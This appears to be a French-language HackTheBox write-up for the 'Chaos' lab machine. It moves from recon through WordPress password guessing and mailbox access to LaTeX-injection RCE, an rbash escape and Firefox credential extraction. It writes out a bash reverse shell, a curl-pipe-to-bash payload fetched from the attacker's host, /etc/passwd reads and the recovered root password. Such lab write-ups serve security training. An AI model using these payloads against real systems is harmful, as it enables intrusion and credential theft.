> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md).

# Compte rendu de Chaos HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Chaos>" %}

{% hint style="warning" %}
**Compétences :**

* Deviner le mot de passe
* Abus du service e-mail (claws-mail)
* Défi crypto (déchiffrer le message secret - chiffré AES)
* Injection LaTeX (RCE)
* Contournement de rbash (Restricted Bash)
* Extraction d’identifiants depuis le profil Firefox
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/5bdfed7a83564365a5ddaa93d5564b5b3d7a6b72" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/c194956b51d6bc2a6782f7050798b07efbe25ac6" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvvv 10.10.10.120 -oG allPorts
```

<figure><img src="/files/6dbb9411664b6d1762abdc0f7e52ed47adf720f0" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec ExtractPorts (**&#x38;0.110,143.993.995,10000)

Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers.

<figure><img src="/files/5241085e1c7645ad17a150634eaf3bf61fb65b89" alt="" width="563"><figcaption></figcaption></figure>

**Scan de version des ports avec Nmap :**

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p80,110,143,993,995,10000 10.10.10.120 -oN targeted
```

<figure><img src="/files/b69a1e5ea7a9d1bc71602296fb1cdd9a34e8a78c" alt=""><figcaption></figcaption></figure>

## **Exploitation**

#### **Port 80 - Énumération Web**

L’accès direct via l’adresse IP est bloqué. Nous ajoutons donc le `chaos.htb` domaine dans `/etc/hosts`.

<figure><img src="/files/fe062364c2f896bc547c441cbc6265ad1b395cb5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/277a89dd2d78ab138de96b2826d8a1ce3adc708c" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/1c407d577c9fb8483d826e32c258cf2602b5af0f" alt=""><figcaption></figcaption></figure>

#### **Fuzzing de répertoires**

```bash
gobuster dir -u http://chaos.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

Aucun résultat.

<figure><img src="/files/11f4da22ca873d5817c3188ade03b2022f3b0057" alt=""><figcaption></figcaption></figure>

**Fuzzing via l’adresse IP :**

```bash
gobuster dir -u http://10.10.10.120 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

Nous trouvons un dossier `/wp` indiquant WordPress.

<figure><img src="/files/02bb34a8830b4472bd42c3735bbbe274a4798b92" alt=""><figcaption></figcaption></figure>

Ajoutez le `wordpress.chaos.htb` sous-domaine à `/etc/hosts`.

<figure><img src="/files/b577f2266eddc94bdf07996b1cdcfbb1d4a955fd" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2b15be9236d3dec692e51990cb983c2453fc0253" alt="" width="563"><figcaption></figcaption></figure>

### **Énumération WordPress**

<figure><img src="/files/2e6f4423812e0218fe8c0eaa3d90d2bc0b044db0" alt=""><figcaption></figcaption></figure>

Nous trouvons un `Humain` utilisateur sur WordPress.

<figure><img src="/files/8f3643a36bed29823cd2f1ecec75b7cd61586002" alt=""><figcaption></figcaption></figure>

### **Deviner le mot de passe**

Un article WordPress contient un mot de passe. Nous testons `Humain` et cela fonctionne.

<figure><img src="/files/24cb0ba5edd05df6ef1cc20ecd10108e68c4055d" alt=""><figcaption></figcaption></figure>

Nous trouvons des identifiants pour une messagerie web :

* **le nom d'utilisateur** : ayush
* **mot de passe** : jiujitsu

## **Port 993/995 - Webmail**

Le port 993 indique un serveur de messagerie IMAP.

<figure><img src="/files/dad4ae3fe26805fde5aab7674730da98b664588b" alt=""><figcaption></figcaption></figure>

Nous utilisons `claws-mail` pour accéder à la boîte mail d’Ayush.

```bash
claws-mail
```

<figure><img src="/files/5cc656286f20ff8dbbcca758d894c068b355cc1a" alt="" width="415"><figcaption></figcaption></figure>

<figure><img src="/files/04d6377b7d9fd8b031b133f55374f9ddf77838b8" alt="" width="563"><figcaption></figcaption></figure>

Dans un e-mail, nous trouvons deux fichiers joints et le message :

> Salut, Sahay
>
> Vérifie le fichier enmsg.txt. Tu es le mot de passe XD. J’ai aussi joint le script que j’ai utilisé pour chiffrer. Merci.

<figure><img src="/files/56807abc8436b8d1ea9e929380869d17755527af" alt=""><figcaption></figcaption></figure>

## **Déchiffrement du message secret - Chiffré AES**

<figure><img src="/files/5c3a1d9d77aad3bb89e464de34ca2df6baf12ea5" alt=""><figcaption></figcaption></figure>

Nous avons identifié un `script decrypt.py` sur GitHub, qui appartient au même projet

<figure><img src="/files/49a308cc5be4becc99e8585a8acffabcc587644a" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/vj0shii/File-Encryption-Script/blob/master/decrypt.py>" %}

#### À l’exécution :

```bash
python3 decrypt.py
Enter filename: ./enim_msg.txt
Enter password: sahay
```

Le contenu est décodé avec `base64`:

<figure><img src="/files/73ae2f3079ce5516c63c273ac10c90e2e72abf1d" alt=""><figcaption></figcaption></figure>

```bash
cat im_msg.txt | base64 -d; echo
```

Le message révèle un service LaTeX sur `http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3`

> **Salut Sahay,**
>
> Veuillez découvrir notre nouveau service qui crée des PDF.
>
> P.-S. — Comme vous me l’avez conseillé, j’ai chiffré le message important.
>
> [http://chaos.htb/J00/\_w1ll/\_f1Nd/\_n07H1n9/\_H3r3](http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3)
>
> **Contrôles de blocage**
>
> Merci, **Ayush**
>
> Merci, Ayush

<figure><img src="/files/5e45ddda003c7762e71c37158aeb73ed79eb02e7" alt=""><figcaption></figcaption></figure>

## **Vulnérabilité d’injection LaTeX**

### Injection LaTeX (lecteur de fichiers)

<figure><img src="/files/458902cafba2b3886f31d1d1eff1bda0453daa92" alt=""><figcaption></figcaption></figure>

Nous interceptons la requête

<figure><img src="/files/2476c0b1dea5a392a31f1c38e77481e46be39ff6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c0f61ed881965f6f23b5f2276e97a39bb626e9ea" alt=""><figcaption></figcaption></figure>

#### Document PDF LaTeX :

<figure><img src="/files/66a4ea586a5d4671f549025647b4e1c838159151" alt=""><figcaption></figcaption></figure>

Nous injectons :

```latex
/input{/etc/passwd}
/include{password}
```

<figure><img src="/files/21340b3e095b7f070f8881b87c38775d3620e678" alt=""><figcaption></figcaption></figure>

### **Exploitation RCE de LaTeX**

Nous exécutons une `id` commande via :

```latex
/immediate/write18{id > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/ligne}
/closein/file
```

<figure><img src="/files/2041b74df7ca75dcb2da4e9d4d19acdf322a6b46" alt=""><figcaption></figcaption></figure>

#### **Shell inversé**

Nous écoutons sur le port 443 :

```bash
nc -nvlp 443
```

Nous créons un `index.html` script bash :

```bash
 #!/bin/bash
 bash -i >& /dev/tcp/10.10.14.61/443 0>&1
```

Nous lançons un serveur web :

```bash
python3 -m http.server 80
```

Injection du payload :

```latex
/immediate/write18{curl http://10.10.14.61 | bash > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/ligne}
/closein/file
```

<figure><img src="/files/aa35830ca226b3aab169d48af35b3dcf68d8b399" alt=""><figcaption></figcaption></figure>

## **Élévation de privilèges**

### **Pivot de l’utilisateur Ayush - Contournement de rbash**

Nous nous connectons en tant qu’Ayush, mais nous sommes limités à un `rbash` shell.

<figure><img src="/files/3d960a346d340008b4b855b1efe934e72e2e18fa" alt=""><figcaption></figcaption></figure>

Liste des commandes disponibles :

```bash
compgen -c
```

Nous trouvons `tar` et contourner `rbash` avec :

<figure><img src="/files/6ecce8eedae90bdf57327f62b12cd7ffb7121582" alt="" width="279"><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/tar/#shell>" %}

```bash
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec/bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

<figure><img src="/files/8c060f22f83276486435f22d84c820e52a7134af" alt=""><figcaption></figcaption></figure>

### Drapeau user.txt :)

Nous obtenons l’accès à un shell complet et récupérons `user.txt`.

<figure><img src="/files/94ad39344df7ee1edd2116e3cf65853ffb8d8b19" alt="" width="449"><figcaption></figcaption></figure>

## **Extraction des identifiants Firefox**

Dans le `.mozilla` dans le dossier d’Ayush, nous trouvons `key4.db` et `logins.json`.

<figure><img src="/files/ccd823c67ba5a192aed677f8acf9f95a9d10e4cb" alt=""><figcaption></figcaption></figure>

Nous les transférons sur notre machine :

<figure><img src="/files/5c441ab04c6dec1eb5f0a13d8a9468f3a691513e" alt=""><figcaption></figcaption></figure>

```bash
python3 -m http.server 8080
wget -r chaos.htb:8080
```

<figure><img src="/files/498979b79c24180f6957eb68aec7a9763335f689" alt=""><figcaption></figcaption></figure>

Déchiffrement des identifiants avec `firefox_decrypt.py`:

{% embed url="<https://github.com/unode/firefox_decrypt>" %}

```bash
python3 firefox_decrypt.py chaos.htb:8080
```

Nous saisissons `jiujitsu` comme mot de passe principal et récupérons :

<figure><img src="/files/c01245578ce6fc561846b0c55c9d3aa6e5f6901b" alt=""><figcaption></figcaption></figure>

> Mot de passe principal pour le profil chaos.htb:8080/bzo7sjt1.default
>
> Site web : <https://chaos.htb:10000>
>
> Nom d’utilisateur : 'root' Mot de passe : 'Thiv8wrej/\~

Connexion root :

<figure><img src="/files/5fc2e14d1ca8f547ca1ffea1d2a12dab156b2c0c" alt=""><figcaption></figcaption></figure>

### Drapeau root.txt

<figure><img src="/files/4cfffeaa90b54ac9225489066ff9da1d6a6e3594" alt="" width="494"><figcaption></figcaption></figure>

<figure><img src="/files/07ddd47cbfed145b007de9c491fbbf9e9f4bef33" alt="" width="343"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
